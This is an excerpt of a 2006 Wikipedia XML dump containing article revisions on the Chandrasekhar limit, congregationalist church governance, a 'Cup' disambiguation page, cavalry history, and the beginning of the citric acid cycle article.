      <contributor>
        <username>Antonio Prates</username>
        <id>958079</id>
      </contributor>
      <minor />
      <comment>adding Schemberg`s role</comment>
      <text xml:space="preserve">The '''Chandrasekhar limit''', also known as '''Schenberg-Chandrasekhar limit''', is the maximum [[mass]] of a [[white dwarf]], a type of [[star]], and is  approximately [[1 E30 kg|3 &amp;times; 10&lt;sup&gt;30&lt;/sup&gt; kg]], around 1.44 times the mass of the [[Sun]].  This number is a bit different in various articles, from 1.2 to 1.46 times the mass of the Sun and depends on the [[chemistry|chemical]] composition of the star. The limit was first discovered and calculated by the [[ethnic Indian|Indian]] [[physicist]] [[Subrahmanyan Chandrasekhar]], working with the [[Brazil|Brazilian]] physicist [[Mário Schenberg]].

The heat generated by a star due to [[nuclear fusion]] of [[atom]]s of lighter [[chemical element|elements]] into heavier ones pushes the [[stellar atmosphere|atmosphere]] of the star out.  As the star runs out of fuel the atmosphere collapses back on the star's core, pulled by the star's own [[gravity]]. If the star has a mass below the Chandrasekhar limit this collapse is limited by [[electron degeneracy pressure]], which results in a stable white dwarf.  If the star has a mass above the Chandrasekhar limit it has sufficient gravity to collapse past the white dwarf stage and become a [[neutron star]], [[black hole]], or possibly a theoretical [[quark star]]. If a stable white dwarf in a [[Binary system (astronomy)|binary system]] with a giant star [[accretion (science)|accretes]] enough material to exceed the Chandrasekhar limit, the star collapses and becomes a [[supernova|type I supernova]]. The remnant of the collapse is unlikely to be a neutron star as the explosion is violent enough to rip the white dwarf clean apart, leaving no star at all. 

The Chandrasekhar limit arises from taking account of the effects of [[quantum mechanics]] in considering the behaviour of the electrons providing the degeneracy pressure supporting the white dwarf. Electrons, being [[fermion]]s, cannot be at equal [[energy level]]s, so that, when an electron gas is cooling down, it is impossible for them to be given all minimal energy. Plenty of electrons will have to stay at higher energy levels and will thus give a certain pressure, which is purely quantum mechanical in its nature.

In the classical approximation a white dwarf may be arbitrarily massive with its volume '''inversely''' proportional to its mass.  In the quantum mechanical calculation the typical energies to which degeneracy pressure forces the electrons in a massive white dwarf are non-negligible relative to their rest masses and a limiting mass emerges for a self-gravitating, spherically symmetric body supported by degeneracy pressure.

When Chandrasekhar first proposed his ideas, he was vehemently opposed by the British physicist [[Arthur Stanley Eddington|Arthur Eddington]]. Embittered, Chandrasekhar moved to the United States where he remained at the [[University of Chicago]] for the most part.

==External links==
*[http://www.nobel.se/physics/laureates/1983/chandrasekhar-lecture.html Chandrasekhar's Nobel Lecture, 1983]

[[Category:Astrophysics]]

[[bg:Граница на Чандрасекар]]
[[ca:Límit de Chandrasekhar]]
[[de:Chandrasekhar-Grenze]]
[[es:Límite de Chandrasekhar]]
[[fr:Limite de Chandrasekhar]]
[[gl:Límite de Chandrasekhar]]
[[ko:찬드라세카 한계]]
[[id:Batas Chandrasekhar]]
[[it:Limite di Chandrasekhar]]
[[he:גבול צ'נדראסקאר]]
[[nl:Chandrasekhar-limiet]]
[[ja:チャンドラセカール限界]]
[[nn:Chandrasekhargrensa]]
[[pl:Granica Chandrasekhara]]
[[ru:Предел Чандрасекара]]
[[ta:சந்திரசேகர் வரையரை]]
[[vi:Giới hạn Chandrasekhar]]
[[zh:錢德拉塞卡極限]]</text>
    </revision>
  </page>
  <page>
    <title>Congregationalist church governance</title>
    <id>6814</id>
    <revision>
      <id>42154011</id>
      <timestamp>2006-03-04T04:22:28Z</timestamp>
      <contributor>
        <username>Paul foord</username>
        <id>240061</id>
      </contributor>
      <minor />
      <comment>/* See also */ dab United and uniting churches</comment>
      <text xml:space="preserve">'''Congregationalist church governance''', often known as '''congregationalism''', is a system of church governance in which every local [[congregation (worship)|congregation]] is independent. The [[Anabaptist]] movement, [[Baptist]]s and others besides the [[Congregational church]]es are organized according to it. In [[Christianity]], it is distinguished from [[presbyterian church governance]], which is governance by a structure of democratically-elected representative bodies of clergy and lay &quot;elders&quot;, and from [[episcopalian church governance]], which is governance by a hierarchy of [[bishop]]s.

Congregationalism is not limited only to organization of Christian congregations. The principles of congregationalism have been inherited by the [[Unitarian Universalist Association]], some of which are Christian assemblies, by direct historical descent from the Congregational Church.

==The basics of congregationalism in Christianity==
Congregationalism is the theory that (1) every local church is a full realization in miniature of the entire Church of Jesus Christ; and (2) the Church, while on earth, besides the local church, can '''only''' be invisible and ideal.  While other theories may insist on the truth of the former, the latter precept of Congregationalism gives the entire theory a unique character among plans of church government.  There is no other reference than the local congregation for the &quot;visible church&quot; in Congregationalism.  And yet, the connection of all Christians is also asserted, albeit in a way that can't be clearly or consistently described.  This first, foundational principle by which Congregationalism is guided results in the extreme limitation of authority, confining it to operate with the consent of each gathering of believers.

Although &quot;congregational rule&quot; may seem to suggest that pure democracy reigns in Congregational churches, this is usually not really the case.  It is granted, with rare exception, that God has given the government of the Church into the hands of an ordained ministry.  What makes Congregationalism unique is its system of checks and balances, which constrains the authority of the minister, the lay officers, and the members.  

Most importantly, the boundaries of the powers of the ministers and church officers are set by clear and constant reminders of the freedoms guaranteed by the Gospel to the laity, and to every person.  With that freedom, as the shepherd in a Congregationalist church is quite likely to frequently remind his flock, comes the responsibility upon each member to govern himself under Christ.  The theory of Congregationalism designs its own failure upon lay members who will not meditate on the sermons and apply their lessons in their lives, who will not study the Bible, who will not charitably and patiently debate issues with one another, or vote with the glory and service of God as the foremost consideration in all of their decisions.  Congregationalism provides no safety net for an ungodly people, and therefore envisions ideally that none but truly converted Christians will be members of the church.

The authority of all of the people, including the officers, is limited in the local congregation by a definition of union, or a [[covenant]], by which the terms of their cooperation together are spelled out and agreed to.  This might be something as minimal as a charter specifying a handful of doctrines and behavioral expectations, or even a statement only guaranteeing specific freedoms.  Or, it may be a [[constitution]] describing a comprehensive doctrinal system and specifying terms under which the local church is connected to other local churches, to which participating congregations give their assent.  In Congregationalism, rather uniquely, the church is understood to be a truly voluntary association.

Finally, the congregational theory strictly forbids ministers from ruling their local churches by themselves.  Not only does the minister serve by the approval of the congregation, but in addition committees must be elected, consisting of lay officers and the pastor.  It is a contradiction of the Congregational principle if a minister makes decisions concerning the congregation without the vote of these other officers.  The other officers may be called &quot;The Board of Deacons&quot;, &quot;The Board of Elders&quot; or &quot;The Session&quot; (borrowing [[Presbyterian]] terminology), or even &quot;The [[Vestry]]&quot; (borrowing the [[Anglican]] term) &amp;mdash; it is not their label that is important to the theory, but rather their lay status and their equal vote, together with the pastor, in deciding the issues of the church.  While other forms of church government are more likely to define &quot;tyranny&quot; as &quot;the imposition of unjust rule&quot;, a Congregationalist church would more likely define tyranny as &quot;transgression of liberty&quot; or equivalently, &quot;rule by one man&quot;.  The reason for insisting upon Congregationalism, besides the belief that it is the Biblical and primitive pattern of Church government, is to prevent any transgression of liberty by those in authority. To a Congregationalist, no abuse of authority is worse than the concentration of all decisive power in the hands of one ruling body, or one person.  Following this sentiment, Congregationalism has evolved over time to include even more participation of the congregation, more kinds of lay committees to whom various tasks are apportioned, and more decisions subject to the vote of the entire membership.  Consequently, with the onset of [[the Enlightenment]], Congregationalist churches easily adopted and contributed to the Enlightenment ideal of the Individual, against which there has simultaneously been a continuous revolt as it is perceived to have eroded legitimate Congregationalist principles of authority and connectionalism.

== Congregationalism as a theory of union ==
It may seem ironic given its adamant emphasis on independence, but one of the most notable characteristics of the Congregationalist Church has been its consistent leadership role in the formation of &quot;Unions&quot; with other churches. In fact, the persistence of ''the'' Congregational Church is owing simply to the fact that these Unions tend (by the inherent nature of congregationalism) to be imperfect, because some congregations decide not to enter into them.  The congregationalist theory of independence within a union has been a cornerstone of most ecumenical movements since the 18th century. An older, competing, but somewhat related theory, is sometimes called ''nationalism'' (in the [[Reformed churches]] tradition), or [[autocephaly]] (in the [[Eastern Orthodox Church]] tradition). Between these latter two there are further differences. In both nationalism and autocephaly, one unifying doctrine is given local expression, according to differences in language and customs.  Autocephaly is strictly [[episcopalian]], and assures the self-government of distinct [[patriarchate]]s within a structure of common doctrine, comparable practices, with some degree of mutual accountability through which they remain in communion with one another.  In nationalism (in recent times, more accurately called &quot;culturalism&quot;), there is no institutional accountability to churches with separate general assemblies, although churches with separate histories typically form voluntary confederations with one another. Congregationalism, in contrast, guarantees a completely independent government for all of the uniting parties, down to the level of every local congregation.

The congregationalist principles of complete autonomy and strictly voluntary union produces a practically indescribable diversity of beliefs within the congregational unions.  The [[United Church of Christ]] is the result of a series of Unions constructed according to congregationalist theory,  as a union between the Evangelical and Reformed Church and the Congregational Christian Churches. These uniting congregations were the result of several previous unions. The Congregational Christian Churches were formed by congregations of the Congregational Church, and the [[Christian Church (Disciples of Christ)]] (who were formed by mergers of Presbyterians, Methodists, and Baptists). The Evangelical and Reformed Church was the result of a partial union of the Reformed Church in the United States and the Evangelical Synod of North America (a union of Lutherans and Reformed).  The UCC is by far the most diverse of the Reformed churches at the present time.  In the [[United Kingdom]], the [[United Reformed Church]] is the merger of the Presbyterian churches and the Congregational churches, on congregational principles of union.

== The question of liberalism within congregationalist unions and partnerships==
Churches such as the Unitarian Universalists and the United Church of Christ are often accused of or thought of as being politically [[liberal]] or morally permissive. Similarly, the [[National Council of Churches]] and the [[World Council of Churches]] have been accused by [[conservative]] groups of being &quot;liberal,&quot; in one or more senses of that term. It is important to note that while self-avowed liberals or [[freethinker]]s may find some permissive congregations in which to practice their beliefs, that conservatives and more orthodox believers can also be found in large numbers in some/other congregations. In short, there is nothing inherent in the idea of congregationalism itself that is liberal, but that liberals are less likely to be found in monolothically conservative-governed institutions than they are likely to be in diverse organizations consisting of both conservative-leaning and liberal-leaning congregations.

==See also==
* [[Reformed churches]]
* [[Restoration Movement]]
* [[United and uniting churches]]

==External links==
* [http://www.ucc.org/ United Church of Christ (UCC) home page]
* [http://www.naccc.org/ National Association of Congregational Christian Churches (NACCC) home page]
* [http://www.ccccusa.org/ Conservative Congregational Chrisitian Conference (CCCC) home page]

[[Category:Christian group structuring]]
[[Category:Congregationalism|*]]

[[de:Kongregationalismus]]
[[ja:会衆制]]</text>
    </revision>
  </page>
  <page>
    <title>Cup</title>
    <id>6815</id>
    <revision>
      <id>39208482</id>
      <timestamp>2006-02-11T14:34:13Z</timestamp>
      <contributor>
        <username>Markus Kuhn</username>
        <id>44867</id>
      </contributor>
      <comment>removed currency code, as this is already covered on [[CUP]] and there is a cross link</comment>
      <text xml:space="preserve">'''Cup''' can refer to: 

* A [[drinking]] [[vessel]] such as a [[teacup]] or similar [[drinkware]]. See also:
**[[Cup holder]].
**[[Dixie Cup]].
**[[Fuddling cup]].
**[[Mug]].
* A cup-shaped prize, e.g [[Davis Cup]], [[League Cup]].
* A tournament where the prize is cup-shaped, e.g [[Davis Cup]], [[League Cup]].
* The part covering the [[breast]] in a [[brassiere]].
* A [[jock strap]]. 
* A [[Cup (game)|sport]] in which a cup is tossed in the air.
* [[Cup (unit)]]: A [[Units of measurement|unit]] of [[volume]], used primarily in [[cooking]] in some English-speaking countries.
* A unit to pour acid and other hazardous substances into.
* One of the four traditional suits of the Minor Arcana of the [[tarot]] deck.

''Also see the acronym  [[CUP]]''

{{Commonscat|cups}} &lt;!--- Link to catergory in Wikipedia commons ---&gt;

{{disambig}} 

[[Category:Drinkware]]

[[de:Tasse]]
[[es:Taza (unidad de volumen)]]
[[eo:Taso]]
[[fr:Tasse (unité)]]
[[simple:Cup]]</text>
    </revision>
  </page>
  <page>
    <title>Cavalry</title>
    <id>6816</id>
    <revision>
      <id>41306758</id>
      <timestamp>2006-02-26T12:25:44Z</timestamp>
      <contributor>
        <username>Aldux</username>
        <id>326243</id>
      </contributor>
      <comment>/* Origins */  can't use an unsourced statement from a wiki artile as a reference</comment>
      <text xml:space="preserve">{{history of war}}
:''This article is about cavalry, mounted soldiers. ''Cavalry'' is also a common misspelling of the Biblical hill [[Calvary]].''

An [[army]] unit consisting of mounted soldiers is commonly known as '''cavalry'''. Cavalry fight from the backs of their mounts, which most often are [[horse]]s or [[camel]]s. [[Infantry]] travelling by horse and fighting on foot are instead known as [[mounted infantry]] or [[dragoon]]s. Historically cavalry improved mobility, an &quot;instrument which multiplied the fighting value of even the smallest forces, allowing them to outflank and avoid, to surprise and overpower, to retreat and escape according to the requirements of the moment.&quot; &lt;!-- The Safeguard of the Sea, NAM Rodger--&gt;

In some modern militaries (especially the [[United States Army]]), the term Cavalry is often used for units that fill the traditional horse-borne light cavalry roles of [[reconnaissance | scouting]], [[screening]], [[skirmishing]] and [[Raid (military)|raid]]ing.  The shock role, traditionally filled by heavy cavalry, is generally filled by units with the &quot;[[Armoured]]&quot; designation.

== Origins ==

Before the [[Iron Age]], the role of cavalry on the battlefield was largely performed by light [[chariot|chariots]].  The power of mobility given by mounted units was recognized early on, but was offset by the difficulty of raising large forces and by the inability of horses (then mostly small) to carry heavy armor.  
  
It is noteworthy to mention that heavy cavalry was first used by the [[Iranian]] [[Parthia|Parthians]], and more so by the [[Sassanid Empire|Sasanids]] (both, but especially the latter, were famed for the [[cataphract]], heavy cavalry armed with lances) [http://www.cais-soas.com/CAIS/History/ashkanian/parthian.htm]. During the [[Roman]]-[[Persian]] [[wars]], the [[Parthians]] swift mounted counter-attacks would prove too much for the [[Romans]] at first, who were the master of hand-to-hand combat.  However, later the [[Romans]] would successfully adapt such heavy armor, and tactics[http://www.historynet.com/mhq/blromespersianmirage/]. 

The chariot originated with the [[Sintashta-Petrovka]] culture in [[Central Asia]] and spread by nomadic or semi-nomadic [[Indo-Iranian]]s. The chariot was quickly adopted by settled peoples both as a military technology and an object of ceremonial status by the [[Pharaoh]]s of the [[New Kingdom of Egypt]] as well as [[Assyrian people|Assyrian]] and [[Babylonian]] royalty.

Cavalry techniques were, again, an innovation of [[equestrian nomad]]s of the Eurasian steppe. Use of chariots in battle was obsolete by the Persian defeat at the hands of [[Alexander the Great]], but chariots remained in use for ceremonial purposes, for instance carrying the victorious general in a [[Roman triumph]]. The first cavalry consisted of pairs of men, one using a [[bow (weapon)|bow]] while the other guided both of their horses.

[[Image:Kirchholm.jpg|thumb|left|300px|''[[Battle of Kircholm|Kircholm]]'', a 1925 painting by [[Wojciech Kossak]].]]In the armies of the [[Ancient Greeks]] and the [[Roman Republic]], cavalry played a relatively minor role&amp;mdash;in both civilizations conflicts were decided by massed armored infantry. The cavalry in the Roman Republic remained the preserve of the wealthy [[landed class]] known as the [[Equites]]; later on, as the class became more of a social elite instead of a functional property-based military grouping, the Romans turned to [[Gauls]] and [[Iberians]] to fill the ranks of their auxiliary cavalry. [[Numidians]] were also highly valued as mounted skirmishers and scouts. [[Julius Caesar]] himself was known for his escort of Germanic cavalry, and the early Emperors maintained an [[Ala (Roman military)|ala]] of Batavian cavalry as their bodyguards until the unit was dismissed by [[Galba]]. In the army of the late [[Roman Empire]], cavalry played an increasingly important role. [[Sarmatian]]s were hired as cavalrymen. The [[Spatha]], the classical sword throughout most of the 1st millennium, originated as a Roman cavalry sword. The [[Eastern Roman Empire]] itself came to rely increasingly on Visigothic heavy cavalry as the primary shock force of their armies.

== Dominance and decline ==

The decline of the Roman infrastructure made it more difficult to field large infantry forces, and during the [[2nd century|second]] and [[3rd century|third centuries]] cavalry began to take a more dominant role on the battlefield, also in part made possible by the appearance of new, larger breeds of horses. The replacement of the insubstantial Roman [[horse tack|saddle]] by variants on the Scythian model, with pommel and cantle, was significant too.

New armored Cataphracts were deployed in eastern [[Europe]] and the [[near East]], notably in [[Persian Empire|Persia]]n forces as the main striking force of the armies, whereas earlier cavalry had to be consigned to the flanks.

The introduction of the [[stirrup]] allowed for even heavier cavalry.  As a greater weight of man and armor could be supported in the saddle, the almost-certainty of being dismounted in combat was reduced. In the initial charge a [[lance]] could be 'set' rather than held over-head&amp;mdash;leading to an enormous increase in the impact of a charge. In western Europe there emerged the heaviest of the heavy cavalry, the [[knight]]&amp;mdash; exchanging much of the mobility advantage for a massive, irresistible first charge.

Knights quickly became an important military force in western Europe, although it is worth noting that Medieval military doctrine actually employed them as part of a combined-arms force along with various kinds of foot troops. Still, Medieval chroniclers tended to pay undue attention to the knights at the expense of the rank and file, and this has led early students of military history to suppose that knights were the only things that mattered on Medieval European battlefields--a view with hardly any grounding in reality. Massed English longbowmen triumphed over French cavalry at [[Battle of Crécy |Crécy]], [[Battle of Poitiers |Poitiers]] and [[Battle of Agincourt |Agincourt]], while at [[Battle of Gisors|Gisors]] (1188), [[Battle of Bannockburn|Bannockburn]] (1314), and [[Battle of Laupen|Laupen]] (1339), foot-soldiers proved their invulnerability to cavalry charges as long as they held their formation. However, the rise of infantry as the principal arm had to wait for the [[Swiss]] to develop their [[pike square|pike-squares]] into an offensive arm instead of a defensive one; this new aggressive doctrine brought the Swiss to victory over a range of adversaries, although eventually  numbers would tell ([[Battle of St. Jakob an der Birs]]). The introduction of less effective but simpler missile weapons, like the [[crossbow]], was additionally decisive. A top-quality 15th century army could be 50 percent cavalry, but by the 1520s this proportion had fallen below 25 percent. Knighthood quickly became associated with land ownership and senior positions in the [[feudal]] social structure. 

[[Image:Italian_cavalry_drill.png|300px|thumb|Italian cavalry officers practice their horsemanship in 1904 outside Rome.]]
From the 1550s, the use of gunpowder weapons solidified infantry's dominance of the battlefield, and began to allow true mass armies to develop. This is closely related to the increase in the size of armies throughout the early modern period; heavily armored cavalrymen were expensive to raise and maintain, and it took years to replace a skilled horseman or a trained horse, while [[arquebusier]]s and later [[musketeer]]s could be trained and maintained at a much lower expense, in addition to being much easier to replace. The Spanish [[tercio]] and later formations relegated cavalry to a supporting role. The [[pistol]] was specifically developed to try and bring cavalry back into the conflict, together with manoeuvres such as the [[caracole]]. These innovations were not particularly successful, however, and soon the charge was revived as the primary mode of employment for European cavalry. The [[demi-lancer]]s and the heavily armored sword-and-pistol [[reiter]]s were among the types of cavalry that experienced their heydays in the 16th and 17th centuries.

In any case, cavalry still had a role to play. First and foremost they remained the primary choice for confronting enemy cavalry. Attacking an unbroken infantry force head-on was usually unsuccessful, but the extended linear formations were vulnerable to flank or rear attacks. Cavalry was important at [[Battle of Blenheim|Blenheim]] ([[1704]]), [[Battle of Rossbach|Rossbach]] ([[1757]]), and [[Battle of Friedland|Friedland]] ([[1807]]), remaining a significant factor throughout the [[Napoleonic Wars]]. And while massed infantry was deadly to cavalry, it was an excellent target for [[artillery]]&amp;mdash;once formations were broken, cavalry was essential and deadly in the harry and [[rout]] of the scattered infantry. It was not until individual firearms gained accuracy and improved rates of fire that cavalry was diminished in this role as well. Even then light cavalry remained an indispensable tool for scouting, screening the army's movements, and harassing the enemy's supply lines until military aircraft supplanted them in this role in the early 20th century.

By the [[Nineteenth Century]], [[Europe]]an cavalry fell into four main categories:

* [[Cuirassier]]s, heavy cavalry
* [[Dragoon]]s, originally mounted infantry but later regarded as medium cavalry
* [[Hussar]]s, light cavalry
* [[Lancer]]s or [[Uhlan]]s, light cavalry armed with [[lance]]s

There were cavalry variations for individual nations as well: [[France]] had the ''chasseurs à cheval''; [[Germany]] had the ''Jäger zu Pferd''; [[Bavaria]] had the ''Chevaulegers''; and [[Russia]] had Cossacks. Britain had no [[cuirassier]]s (other than the [[Household Cavalry]]), but had Dragoon Guards regiments which were classed as heavy cavalry. In the [[United States Army]], the cavalry were almost always [[dragoon]]s. The [[Imperial Japanese Army]] had its cavalry dressed as [[hussar]]s, but fought as dragoons.

These forces found new success in Imperial operations ([[irregular military|irregular warfare]]), where modern weapons were lacking and the slow moving infantry-artillery train or fixed fortifications were often ineffective against native insurgents (unless the natives offered a fight on an equal footing, as at [[Battle of Tel al-Kebir|Tel-el-Kebir]], [[Battle of Omdurman |Omdurman]], etc). Cavalry &quot;[[flying column]]s&quot; proved effective, or at least cost-effective, in many campaigns&amp;mdash;although an astute native commander (like [[Samori]] in western Africa, [[Shamil]] in the [[Caucasus]], or any of the better [[Boer]] commanders) could use the added mobility (but reduced firepower) against European forces.

In the early [[American Civil War]] regular cavalry was significantly absent, but it continued to play a role as part of screening forces and in foraging and scouting. The later phases of the war saw the Federal army developing a truly effective cavalry force fighting as [[mounted infantry]].

== Asia ==

In eastern Europe, Russia, and out onto the [[steppes]] cavalry remained important much longer and dominated the scene of warfare until the early [[1600s]] and even beyond, as the strategic mobility of cavalry was crucial for controlling the vast expanses of territory.  [[Hun]]s, [[Mongol]]s and [[Cossack]]s are examples of the horse-mounted peripheral peoples that managed to gain substantial successes in military conflicts with Western civilizations, due to their strategic and tactical mobility. As European states began to assume the character of bureaucratic nation-states supported by professional standing armies, they were keen to recruit these mounted warriors in order to fill the strategic roles of scouts and raiders as well as devices of tactical harassment on the battlefield.  For instance, Cossack cavalry regiments were an important part of the Imperial Russian Army until the Revolution, and some even served in the [[Red Army]].

Further east, the [[military history of China]] was a scene of intense military exchange between the powerful infantry forces of the settled empires and the mounted &quot;barbarians&quot; of the north. On many occasions the Chinese studied nomadic cavalry tactics and applied the lessons in creating their own potent cavalry forces, while in others they simply recruited the tribal horsemen wholesale into their armies; and in yet other cases nomadic empires have proved eager to enlist Chinese infantry, as in the case of the [[Mongol Empire]] and its sinicized part, the [[Yuan Dynasty]].

[[Tibet]], [[Korea]], and [[Japan]], as well as the [[Turkic]] tribesmen of [[Central Asia]], have also been known to develop strong cavalry forces in the past.

=== British Indian Army ===
The [[British Indian Army]] maintained scores of regiments of cavalry, officered by British and manned by Indian [[sowars]] (cavalrymen). The legendary exploits of this branch lives on in literature and early films. Among the more famous regiments that continue to be figure in lineages of modern Indian and Pakistani Armies are:

* Governor General's Bodyguard (now [[Indian Presidential Bodyguard]])
* Skinner's Horse (now Indian [[1st Horse (Skinner's)]])
* Gardner's Lancers (now Indian [[2nd Lancers (Gardner's)]])
* Hodson's Horse (now Indian [[3rd Horse (Hodson's)]]) of the Bengal Lancers fame
* Probyn's Horse (now Pakistani)
* Royal Deccan Horse (now Indian [[The Deccan Horse]])
* Poona Horse (now Indian [[The Poona Horse]])
* Queen's Own Guides Cavalry (now partitioned between Pakistan and India)

== Cavalry's demise ==
In the [[20th century]] the advent of modern [[vehicle|vehicles]] with effective [[mobility]] and [[armor]], such as [[tank]]s, provided the opportunity for vehicles to replace horses as the key mobile element of an army. This change was made even more necessary by the development of the [[machine gun]] and other weapons which could easily destroy cavalry formations.  Horses became relegated to [[logistical]] roles, with few exceptions (see [[tachanka]]).

The demise of cavalry as a decisive force on the battlefield came in the [[World War I|First World War]] when cavalry forces were slaughtered while failing to achieve a strategic breakthrough on the [[Western Front]]. They nevertheless played an important role on several fronts, particularly in the Middle East.  

After [[World War I]] and the [[Polish-Bolshevik War]], horse cavalry was gradually abandoned as a major combat weapon by the industrialized powers. The last major cavalry battle was the [[Battle of Komarów]] in [[1920]]. In the 1920s and '30s most industrialized countries either transformed their cavalry units into [[mounted infantry]] or [[motorized infantry]]. The last cavalry charges in modern warfare were seen in the [[World War II|Second World War]]. Although there have been some engagements in twentieth and twenty-first century [[guerrilla warfare|guerrilla]] wars involving cavalry, particularly by partisan or guerrilla fighters in areas with poor transport infrastructure, these units were not used as cavalry but rather as mounted infantry.

Cavalry actually experienced a minor revival in the more mobile warfare of World War II.  Russia, Italy, Germany, and even the United States fielded mounted units.  Russia also fielded combined mechanized and horse units.

Cavalry traditions and insignia were often inherited by the emerging armored formations and air forces. 

In the [[British Army]], all cavalry regiments were mechanised, re-roling from horse to armoured vehicles, to make up, with the [[Royal Tank Regiment]], the [[Royal Armoured Corps]].

In the [[Canadian Army]] a number of both regular and reserve units have cavalry roots.  These include [[The Governor General's Horse Guards]], [[Lord Strathcona's Horse]], The [[Royal Canadian Dragoons]], and The [[South Alberta Light Horse]].  Several current divisions of the [[United States Army]] and other modern armies retain the name &quot;cavalry&quot; due to their origins in the era of horse cavalry; they generally consist in [[armour|armored]] forces.  The [[United States]] also has [[air cavalry]] units equipped with [[helicopter]]s.

Today [[Indian Army]]'s [[61st Cavalry]] remains the only regular horse-mounted cavalry in the world -- preserving its heritage by recruiting only former Maharajahs and Rajputs. Indian Army maintains some of its Armored Regiments under the title of [[Lancer]]s or [[Horse]].

== Light and heavy cavalry ==
Historically, cavalry was divided into light and [[heavy cavalry]]. The difference was mainly how much [[armor]] was worn by the [[soldier]]s, and thus how powerful their mounts had to be in order to sustain the burden. 

Early light cavalry (like the auxiliaries of the Roman army) were typically used to [[scout]] and [[skirmish]] and to cut down retreating infantry. Heavy cavalry like the [[Byzantine]] [[Cataphract]] were used as shock troops &amp;mdash; they would charge the main body of the enemy and in many cases, their actions decided the outcome of the battle.

During the [[Early modern warfare|Gunpowder Age]], armored cavalry began to approach obsolescence. However, many units retained [[cuirass]]es and helmets for their protective values against [[sword]] and [[bayonet]] strikes and the morale boost they provides to the wearers. By this time the main difference between light and heavy cavalry was their training; the former was regarded as a tool for harassment and reconnaissance, while the latter was considered best for close-order charges.

Since the development of armored warfare the distinction between light and heavy armor has persisted basically along the same lines. [[Armored car]]s and [[light tanks]] have adopted the [[reconnaissance]] role while medium and heavy tanks are regarded as the decisive [[shock troops]].

== Social status ==
From the beginning of civilization to the 20th century, ownership of heavy cavalry horses has been a mark of wealth amongst settled peoples. A cavalry horse involves considerable expense in breeding, training, feeding, and equipment, and has very little productive use except as a mode of transport. 

For this reason, and because of their often decisive military role, the cavalry has typically been associated with high [[Social status|social status]]. This was most clearly seen in the [[Feudalism|feudal system]], where a lord was expected to enter combat armored and on horseback and bring with him an entourage of [[Peasants|peasants]] on foot. If landlords and peasants came into conflict, the peasants would be ill-equipped to defeat armored knights.

In later national armies the cavalry often remained a badge of social status, with the typical exception of &quot;frontier&quot; units like [[Cossacks]]. For instance, an officer of any British cavalry regiment is almost certain to have attended elite schools and to come from a socially privileged background.

== Famous cavalry forces ==
* [[Cataphract]]
* [[Cossacks]]
* [[Dragoon]]s
* [[Hakkapeliitta]]  during the [[Thirty Years War]].
* [[Governor General's Horse Guards]] {Canada}
* [[Hussars]]
* [[Kalmyks]]
* [[Lancers]]
* [[Light horse|Australian Light Horse]]
* [[Mamelukes]]
* [[Polish Cavalry]]
* [[Savoia Cavalry]]
* [[Uhlan]]s
* [[United States Cavalry]]

== See also ==
* [[Air cavalry]]
* [[War elephant]]
* [[Military tactics]]
* [[Ski warfare]]
* See List of British Army regiments by year, for cavalry units: [[List of British Army regiments (1881)|1881]], [[List of British Army regiments (1962)|1962]], [[List of British Army regiments (1994)|1994]]
* [[Cavalry in the American Civil War]]
* [[Order of the spur]]
* [[Fiddler's Green]]
* [[Charge of the Light Brigade]]

== External links ==
* [http://www.usregulars.com/Lippitt6.html Cavalry tactics from Francis J. Lippitt's, ''A Treatise on the Tactical Use of the Three Arms - Infantry, Artillery and Cavalry'' (1865)]
* [http://www.lonesentry.com/articles/cavalry/index.html Cavalry in Mass (U.S. report on Russian cavalry organization and operations in World War II)]
* [http://www.thehistorynet.com/wwii/blhorsewarriors/index2.html Italian Savoia Cavalry during World War 2] 
* [http://www.militaryhorse.org/ Society of the Military Horse]
* [http://kavallerie.8ung.at/ Gesellschaft der Freunde der Kavallerie (German)]

[[Category:Cavalry|*]]
[[Category:Medieval warfare]]
[[Category:Military occupations]]

{{Link FA|he}}

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  <page>
    <title>Citric acid cycle</title>
    <id>6818</id>
    <revision>
      <id>41540359</id>
      <timestamp>2006-02-28T01:03:18Z</timestamp>
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      <comment>Reverted edits by [[Special:Contributions/68.198.112.12|68.198.112.12]] ([[User talk:68.198.112.12|talk]]) to last version by Scattered Lights</comment>
      <text xml:space="preserve">The '''citric acid cycle''' (also known as the '''tricarboxylic acid cycle''', the '''TCA''' cycle, or the '''Krebs cycle''') is a series of [[chemical reaction]]s of central importance in all living [[cell (biology)|cell]]s that utilize [[oxygen]] as part of [[cellular respiration]]. In [[aerobic organism]]s, the citric acid cycle is part of a [[metabolic pathway]] involved in the chemical conversion of [[carbohydrate]]s, [[fat]]s and [[protein]]s into [[carbon dioxide]] and [[water]] to generate a form of usable energy.  
It is the second of three metabolic pathways that are involved in [[fuel molecule]] [[catabolism]] and [[adenosine triphosphate|ATP]] production, the other two being [[glycolysis]] and [[oxidative phosphorylation]].

The citric acid cycle also provides precursors for many compounds such as certain [[amino acid]]s, and some of its reactions are therefore important even in cells performing [[fermentation]].

==History==
The ''citric acid cycle'' is also known as the ''Krebs cycle'' after Sir [[Hans Adolf Krebs]] (1900-1981), who proposed the key elements of this pathway in 1937 and was awarded the [[Nobel Prize in Physiology or Medicine|Nobel Prize in Medicine]] for its discovery in [[1953]]. It is correctly written without a possessive [[apostrophe]].

==Location of cycle and inputs and outputs==
The citric acid cycle takes place within the [[mitochondrial matrix]] in [[eukaryote]]s, and within the [[cytoplasm]] in [[prokaryote]]s.

[[Image:TCA_reactions.png|thumb|center|738px|'''The reactions of TCAC as they happen in a human cell'''.&lt;/br&gt;&lt;div style=&quot;border-width: 0px; border-bottom: 1px solid black; text-align: left;&quot;&gt;The color scheme is as follows: &lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;enzymes&lt;/span&gt;, &lt;span style=&quot;color: rgb(219,155,36);&quot;&gt;coenzymes&lt;/span&gt;, &lt;span style=&quot;color: rgb(151,149,45);&quot;&gt;substrate names&lt;/span&gt;, &lt;span style=&quot;color: rgb(227,13,196);&quot;&gt;metal ions&lt;/span&gt;, &lt;span style=&quot;color: rgb(128,0,0);&quot;&gt;inorganic molecules&lt;/span&gt;, &lt;span style=&quot;color: red;&quot;&gt;inhibition&lt;/span&gt;, &lt;span style=&quot;color: green;&quot;&gt;stimulation&lt;/span&gt; &lt;/span&gt;.&lt;/div&gt;]] 

[[Fuel molecule]] catabolism (including [[glycolysis]]) produces [[acetyl-CoA]], a two-[[carbon]] [[acetyl]] group bound to [[coenzyme A]]. Acetyl-CoA is the main input to the citric acid cycle. 
[[Citrate]] is both the first and the last product of the cycle (Fig 1), and is regenerated by the condensation of [[oxaloacetate]] and acetyl-CoA. 

